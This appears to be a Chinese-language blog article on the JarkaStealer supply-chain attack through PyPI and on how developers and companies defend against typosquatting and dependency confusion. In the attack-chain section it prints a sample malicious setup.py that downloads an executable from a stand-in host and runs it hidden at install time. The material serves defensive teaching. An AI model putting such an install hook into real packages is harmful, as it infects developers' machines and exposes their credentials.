Python供应链安全:从JarkaStealer攻击看PyPI依赖管理与防御实践
1. 项目概述:当开源生态遭遇供应链攻击
最近在安全圈和Python开发者社区里,一个名为“JarkaStealer”的恶意软件通过PyPI(Python Package Index)进行传播的事件,引起了不小的波澜。这已经不是PyPI第一次成为攻击者的目标,但每次事件都在提醒我们,那个我们每天用来安装 requests 、 numpy 的 pip install 命令背后,潜藏着供应链安全的巨大风险。简单来说,这次攻击就是攻击者将伪装成正常Python库的恶意包上传到PyPI官方仓库,当开发者或自动化系统不慎安装这些包时,恶意代码就会在目标机器上执行,窃取敏感信息如浏览器凭证、加密货币钱包、Discord令牌等。
这件事的核心,远不止一个恶意软件那么简单。它直指现代软件开发最依赖的基石之一——开源软件供应链的安全性问题。PyPI作为Python生态的“心脏”,每天处理着数以亿计的下载请求。对于开发者而言,它就像是一个取之不尽的开源宝库;但对于攻击者来说,它则是一个拥有海量潜在受害者的、防护相对薄弱的“前沿阵地”。攻击模式通常很“经典”: 仿冒流行库(Typosquatting) 、 依赖混淆(Dependency Confusion) 、或直接 投毒合法库的旧版本 。JarkaStealer事件再次证明,这种攻击方式成本低、收益高,且难以完全防御。
如果你是Python开发者、运维工程师、安全研究员,或者任何在工作中需要管理Python环境的人,那么理解这次攻击的来龙去脉、掌握基本的识别与防御方法,就不仅仅是“了解一下”而已,而是必备的生存技能。它关乎你项目的安全、公司的资产,甚至是个人的隐私。接下来,我将从一个常年与各种依赖包打交道的老兵视角,拆解这次攻击的细节,并分享一套从原理到实操的防御体系。
2. 攻击链深度剖析:JarkaStealer如何潜入你的系统
要有效防御,必须先深入理解攻击是如何发生的。JarkaStealer的攻击链清晰地展示了现代供应链攻击的典型路径,我们可以将其分解为几个关键环节。
2.1 攻击入口:恶意包的伪装与上传
攻击的第一步,是制作一个“看起来合法”的Python包。攻击者通常会采用以下几种策略:
- 仿冒(Typosquatting) :这是最常见的手段。攻击者注册一个与流行库名称极其相似的包名,例如将
requests仿冒为requets、request或reqests。开发者一旦手滑打错字母,或者自动化脚本的依赖列表里存在笔误,就会中招。在这次事件中,攻击者就上传了多个此类仿冒包。 - 依赖混淆(Dependency Confusion) :这种攻击针对的是企业私有包。许多公司会在内部搭建私有PyPI镜像(如使用Nexus Repository、DevPi),用于托管内部开发的、不公开的Python包。这些内部包可能在
requirements.txt或pyproject.toml中有一个通用的名称(例如mycompany-utils)。攻击者发现这一点后,会在公共PyPI上注册同名包并赋予更高的版本号。当用户的包管理工具(如pip)同时配置了公共源和私有源时,默认行为可能会优先安装版本号更高的包(来自公共PyPI的恶意包),而非内部的安全包。 - 劫持废弃项目 :有些开源项目不再维护,其原作者可能已失去对PyPI账户的控制。攻击者通过社会工程学或漏洞接管这些账户,然后在原项目中注入恶意代码并发布新版本。
JarkaStealer的攻击者主要利用了前两种策略。他们批量上传了数十个仿冒包,这些包的 setup.py 或 pyproject.toml 文件看起来人畜无害,描述信息也模仿正版包,极具迷惑性。
注意 :仅仅看包名和简短描述,在
pip install的瞬间很难分辨真伪。这也是自动化脚本和CI/CD流水线的高危场景。
2.2 载荷释放与持久化: setup.py 的“双面人生”
Python包的安装过程,核心是执行 setup.py 文件(对于现代包,则是通过 pyproject.toml 中的 build-backend 调用构建钩子)。这正是恶意代码执行的绝佳时机。
一个典型的恶意 setup.py 可能长这样:
from setuptools import setup, find_packages
import os, sys, subprocess, platform
# 恶意代码部分
def install_payload():
# 判断环境,避免在分析沙箱或特定环境中执行
if platform.system() == "Windows" and os.getenv("USERNAME") != "sandbox":
# 从远程服务器下载第二阶段载荷(如JarkaStealer本体)
payload_url = "http://malicious-server.com/stealer.exe"
payload_path = os.path.join(os.environ['TEMP'], 'update.exe')
# 使用各种方法下载并执行,可能尝试隐藏网络行为
try:
import urllib.request
urllib.request.urlretrieve(payload_url, payload_path)
subprocess.Popen([payload_path], shell=True, creationflags=subprocess.CREATE_NO_WINDOW)
except:
pass
# 或者直接内嵌混淆后的窃取代码
# ...
# 在setup()函数执行前或后调用恶意函数
install_payload()
# 正常的包元数据,用于伪装
setup(
name="fake-requests", # 仿冒名
version="0.1.0",
author="Fake Author",
description="A fake package for demo purposes (MALICIOUS)",
packages=find_packages(),
install_requires=["some-innocent-library"], # 可能依赖其他合法库以显得更真实
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
],
)
恶意代码的执行时机 : setup.py 中的顶级代码在包安装过程中( pip install 的构建阶段)就会执行。这意味着, 即使安装最终失败(例如因为缺少某个依赖),恶意代码也可能已经运行完毕 。这是非常危险的一点。
持久化手段 :更高级的恶意包可能还会:
- 在用户目录下创建启动项或计划任务,实现持久化。
- 尝试禁用安全软件或修改系统设置。
- 下载并加载后续模块,实现功能扩展。
2.3 信息窃取模块(JarkaStealer)的功能解析
一旦恶意代码被执行,它通常会下载或释放最终的窃取器——JarkaStealer。这类信息窃取木马的功能大同小异,但集成度高,危害大:
- 浏览器数据窃取 :遍历Chrome、Firefox、Edge、Brave等浏览器的本地数据存储路径,提取:
- Cookie :用于会话劫持,直接登录用户账户。
- 保存的密码 :通过解密浏览器存储的加密密码库获取。
- 历史记录与书签 :用于了解用户行为习惯或寻找敏感目标。
- 自动填充数据 :包含姓名、地址、信用卡信息等。
- 加密货币钱包窃取 :扫描系统中文档、下载、桌面等目录,寻找诸如
wallet.dat(Bitcoin Core)、seed phrase(助记词)文本文件、以及MetaMask、Exodus等桌面钱包的本地存储文件。 - Discord与通讯软件令牌窃取 :Discord、Telegram等应用的本地令牌是攻击者的重点目标,获取后可直接控制账户、加入服务器进行诈骗或进一步攻击。
- 系统信息收集 :收集用户名、主机名、操作系统版本、IP地址、已安装软件列表等,用于对受害者进行画像和后续攻击。
- 文件窃取与键盘记录 :可能根据配置,窃取特定扩展名的文件(如
.txt,.docx,.pdf),或启用键盘记录功能。 - 命令与控制(C2)通信 :将窃取到的所有数据压缩、加密,然后通过HTTP/HTTPS或Discord Webhook发送到攻击者控制的服务器。
整个攻击链从一次看似普通的 pip install 开始,到系统敏感信息被完全外泄,可能只需要几分钟。攻击的自动化程度很高,可以大规模实施。
3. 防御体系构建:从个人开发到企业级防护
面对这种防不胜防的供应链攻击,我们不能抱有侥幸心理。构建一个纵深防御体系是关键,这需要从个人习惯、项目配置、到企业基础设施多个层面共同努力。
3.1 个人开发者最佳实践
个人是安全的第一道防线,养成良好的习惯能避免大部分风险。
- 仔细核对包名 :在
pip install前,花一秒钟确认包名拼写。对于关键依赖,直接访问 pypi.org 搜索并点击官方链接复制安装命令。 - 审查包的元数据 :
- 查看项目主页和源码仓库 :正规项目通常会链接到GitHub、GitLab等托管平台。检查仓库的Star数、Issue和PR的活跃度、最近提交时间。一个刚创建几天、没有任何历史、作者信息模糊的仓库需要警惕。
- 检查下载量 :在PyPI项目页面上,流行且可信的包通常有巨大的下载量。一个仿冒包的下载量可能极少。
- 查看“发布历史” :突然出现的、版本号跳跃的发布可能是劫持信号。
- 使用虚拟环境 : 永远不要 在系统全局Python环境中直接安装不明来源的包。使用
venv或conda创建独立的项目环境,将潜在损害隔离在单个项目内。# 创建虚拟环境 python -m venv myproject-env # 激活(Linux/macOS) source myproject-env/bin/activate # 激活(Windows) myproject-env\Scripts\activate # 然后在虚拟环境中安装依赖 (myproject-env) pip install requests - 优先使用锁定文件 :使用
pip freeze > requirements.txt生成的依赖列表是模糊的(使用>=等范围指定器)。更好的做法是使用pip-tools或直接使用pip的--require-hashes选项生成带有精确版本和哈希校验的依赖文件,或采用Poetry、PDM这类现代包管理工具,它们会生成poetry.lock/pdm.lock锁定文件,确保每次安装的依赖完全一致。# 使用pip生成带哈希的严格需求文件(示例) pip install pip-tools pip-compile --generate-hashes requirements.in -o requirements.txt - 安装前进行沙箱检查(高级) :对于极度敏感的项目,可以在一个隔离的虚拟机或容器(如Docker)中先安装并运行新依赖,观察其网络和文件系统行为,再决定是否引入生产环境。
3.2 项目级安全加固
单个开发者的谨慎需要项目规范的加持。
- 使用
pyproject.toml并明确依赖声明 :现代Python项目应使用pyproject.toml来管理元数据和依赖。明确指定依赖版本范围,避免使用过于宽泛的*或>=。[project] name = "my-safe-project" dependencies = [ "requests>=2.25.0,<3.0.0", # 相对明确的版本范围 "numpy==1.24.0", # 精确版本,适合核心依赖 ] - 实施依赖审计 :将依赖安全检查集成到CI/CD流程中。可以使用以下工具:
-
safety:检查已安装依赖是否包含已知的安全漏洞(CVE)。 -
bandit:扫描项目代码和依赖中是否存在常见的安全问题模式。 -
pip-audit:官方推荐的审计工具,用于检查依赖关系中的已知漏洞。 -
dependabot/renovate:GitHub/GitLab的机器人,可以自动创建PR更新有漏洞的依赖到安全版本。 在CI中配置一个审计步骤:
# GitHub Actions 示例 - name: Audit dependencies run: | pip install safety pip-audit safety check pip-audit -
- 签名验证与哈希校验 :虽然PyPI对上传的包进行了签名,但客户端默认不验证。可以通过
--require-hashes选项强制pip进行哈希校验,确保安装的包与预期完全一致。但这需要维护一个带哈希的requirements.txt文件,管理成本较高。
3.3 企业级防护方案
对于企业,尤其是拥有私有包和大量开发者的组织,需要系统性的解决方案。
- 搭建私有PyPI镜像并严格配置源优先级 :这是防御“依赖混淆”攻击的核心。使用 Sonatype Nexus Repository 、 JFrog Artifactory 或 DevPi 搭建内部PyPI代理/仓库。
- 关键配置 :将私有仓库组(group repository)配置为 唯一 的pip源,或者确保私有仓库的优先级 绝对高于 公共PyPI(如pypi.org)。在Nexus中,这意味着在仓库组的“Order”里,把你的私有仓库(hosted)放在公共代理(proxy) 之前 。
- 常见坑点:“nexus 配置 pypi 代理 不生效” :这个问题经常出现。原因和解决方案通常如下:
-
pip.conf或环境变量配置错误 :确保所有构建节点和开发者机器上的pip配置指向你的Nexus仓库组URL,并且使用了正确的凭证(如果需要认证)。 - 仓库组顺序错误 :如上所述,在Nexus管理界面检查仓库组的成员顺序。如果公共代理库(如
pypi-proxy)在私有库(如pypi-hosted)前面,当请求一个在两者中都存在的包时,pip会优先从公共代理获取(可能拿到恶意的高版本包)。 必须把私有库排在前面 。 - 缓存问题 :公共代理库可能有缓存。如果之前已经缓存了恶意包,即使调整了顺序,短时间内可能仍会命中缓存。可以尝试清除Nexus中对应代理仓库的缓存,或者在测试时使用全新的包名/版本。
-
pip install命令中使用了-i或--index-url:这可能会覆盖全局配置,直接指定了公共源。确保CI脚本和文档中使用的命令与公司策略一致。
-
- 实施软件物料清单(SBOM)与持续监控 :使用工具(如
cyclonedx-python)为项目生成SBOM,清晰掌握所有直接和间接依赖。然后接入SCA(软件成分分析)平台,对SBOM中的组件进行持续漏洞监控和许可证合规检查。 - 网络层控制 :在企业防火墙上,可以严格限制出站连接。只允许构建服务器和特定机器访问经过审核的、可信的外部包仓库(如官方的PyPI及其国内可信镜像),阻断对未知或可疑域名的访问。这可以阻止恶意包在安装时下载第二阶段载荷。
- 安全开发培训 :定期对开发团队进行安全意识培训,让他们了解最新的攻击手法(如本次JarkaStealer事件)和公司内部的包管理规范。
4. 应急响应与排查:如果怀疑已中招
即使防护再严密,也需要有“万一”的预案。如果你怀疑自己的环境可能安装了恶意包,应按以下步骤冷静处理。
4.1 迹象识别
- 异常网络连接 :机器向未知IP或域名(尤其是与软件功能无关的)发起HTTP/HTTPS请求。
- 系统性能异常 :CPU或内存占用无故升高,可能与恶意软件运行有关。
- 安全软件告警 :防病毒软件或EDR(终端检测与响应)系统发出关于Python进程或陌生文件的警报。
- 账户异常 :发现Discord、邮箱或其他账户出现异地登录或异常活动。
- 文件被修改或创建 :在临时目录或用户目录发现可疑的可执行文件或日志文件。
4.2 排查与取证步骤
- 立即隔离系统 :将受影响的机器从网络中断开,防止数据持续外泄和横向移动。
- 检查Python环境 :
- 列出所有已安装的包:
pip list或pip freeze。 - 仔细审查列表,寻找任何拼写可疑、不熟悉或版本号异常的包。可以与一个干净的基准环境进行对比。
- 使用
pip show <package-name>查看可疑包的详细信息,如安装位置、作者、主页等。
- 列出所有已安装的包:
- 分析包内容 :
- 找到包的安装路径(通常位于
site-packages目录下)。 - 检查
setup.py、__init__.py以及任何可能的入口点脚本。寻找可疑的代码片段,如exec()、eval()、os.system()、subprocess.Popen()、urllib.request.urlretrieve()等动态执行或下载代码的调用。 - 可以使用代码审计工具或文本编辑器搜索关键词如
http://、https://、base64、decode、exec等。
- 找到包的安装路径(通常位于
- 检查系统进程和启动项 :
- 使用任务管理器或
ps命令查看是否有异常的Python进程。 - 检查系统的启动文件夹、计划任务(Windows Task Scheduler)、cron作业(Linux)、或LaunchAgents(macOS),看是否有新增的未知任务。
- 使用任务管理器或
- 扫描恶意软件 :使用更新的防病毒软件或专杀工具对全盘进行扫描。也可以将可疑文件上传到 VirusTotal 等在线分析平台进行检测。
4.3 清除与恢复
- 卸载恶意包 :在隔离的环境中,使用
pip uninstall <malicious-package-name>卸载它。但请注意, 卸载过程可能再次触发恶意代码 (如果setup.py中定义了uninstall钩子)。最安全的方式是直接手动删除包所在的目录。 - 清除持久化项目 :根据排查结果,手动删除恶意软件创建的计划任务、启动项、注册表项或相关文件。
- 轮换凭证 : 这是最关键的一步 。立即更改所有可能已泄露的密码,特别是邮箱、银行、主要社交平台、加密货币交易所的密码。启用双因素认证(2FA)。检查浏览器中保存的密码,并逐一更改。对于加密货币钱包,如果私钥或助记词可能已泄露, 必须将资产转移到由全新且绝对安全生成的密钥控制的新地址中 ,旧地址不应再使用。
- 重建环境 :考虑彻底清理Python环境(删除虚拟环境目录)或甚至重装系统,以确保根除所有潜在的后门或残留。然后从可信的来源(带哈希校验的依赖文件)重新安装所有依赖。
5. 工具链与自动化防御实战
理论需要工具落地。下面介绍几个能有效融入开发流程的自动化工具和配置。
5.1 依赖漏洞扫描集成示例
以GitHub Actions为例,创建一个自动化的安全检查工作流:
# .github/workflows/security-scan.yml
name: Security Scan
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main ]
schedule:
- cron: '0 2 * * 1' # 每周一凌晨2点运行一次
jobs:
security-audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.11'
- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install safety pip-audit bandit
- name: Run Safety (CVE check)
run: safety check --full-report
- name: Run pip-audit
run: pip-audit
- name: Run Bandit (code security)
run: bandit -r . -f json -o bandit-report.json || true # 即使发现漏洞也不失败,仅报告
# 可以考虑设置一个阈值,如 `bandit -ll` 仅报告高/中危问题
- name: Upload Bandit report
uses: actions/upload-artifact@v4
if: always()
with:
name: bandit-security-report
path: bandit-report.json
这个工作流会在代码推送或合并请求时自动运行,检查依赖漏洞和代码安全问题,并将报告作为产物保存,方便后续审查。
5.2 私有源配置详解(以Nexus为例)
确保企业内部pip源配置正确是防御依赖混淆的基石。以下是详细的配置点:
-
Nexus仓库结构 :
- Hosted Repository (pypi-hosted) :用于上传企业内部开发的私有Python包。
- Proxy Repository (pypi-proxy) :代理远程的公共PyPI仓库,缓存下载过的包以加速后续下载。
- Group Repository (pypi-group) :将上述
pypi-hosted和pypi-proxy组合起来,对外提供一个统一的地址。 关键:在Group的配置中,必须将pypi-hosted放在pypi-proxy之上。
-
客户端配置 (
~/.pip/pip.conf或%APPDATA%\pip\pip.ini) :[global] index-url = https://nexus.your-company.com/repository/pypi-group/simple trusted-host = nexus.your-company.com # 如果需要认证 # extra-index-url = https://username:password@nexus.your-company.com/repository/pypi-group/simple/绝对不要 在项目或CI脚本中再使用
-i https://pypi.org/simple,这会覆盖全局配置,导致请求直接流向公共源,绕过你的安全策略。 -
CI/CD环境配置 :在Jenkins、GitLab CI、GitHub Actions等环境中,通过环境变量或配置文件确保pip使用的是内部源。
# GitHub Actions 示例 - name: Configure pip to use internal Nexus run: | echo "[global]" >> ~/.pip/pip.conf echo "index-url = https://nexus.your-company.com/repository/pypi-group/simple" >> ~/.pip/pip.conf echo "trusted-host = nexus.your-company.com" >> ~/.pip/pip.conf
5.3 进阶:使用 pip 的 --require-hashes 进行终极锁定
对于安全要求极高的场景,可以使用哈希校验来锁定依赖。首先,创建一个 requirements.in 文件列出你的直接依赖。然后:
# 1. 编译生成带哈希的requirements.txt
pip install pip-tools
pip-compile --generate-hashes requirements.in -o requirements.txt
# 生成的requirements.txt片段示例:
# requests==2.31.0 \
# --hash=sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1 \
# --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f
# 2. 安装时,使用--require-hashes确保完整性
pip install --require-hashes -r requirements.txt
这样,pip会严格检查下载的包是否与文件中记录的哈希值匹配,任何篡改都会导致安装失败。但这种方法会牺牲一些灵活性,增加依赖管理的复杂度。
供应链安全是一场持久战,PyPI攻击只是其中一个战场。JarkaStealer事件再次敲响警钟:信任,但必须验证。作为开发者,我们需要将安全意识内化为开发习惯的一部分,从每一次 pip install 开始,构筑起代码与系统的安全防线。企业则需要通过技术手段和流程规范,将这种个体防御能力扩展为组织级的免疫系统。安全没有银弹,但通过层层布防和持续警惕,我们完全可以将风险降到最低。
更多推荐
所有评论(0)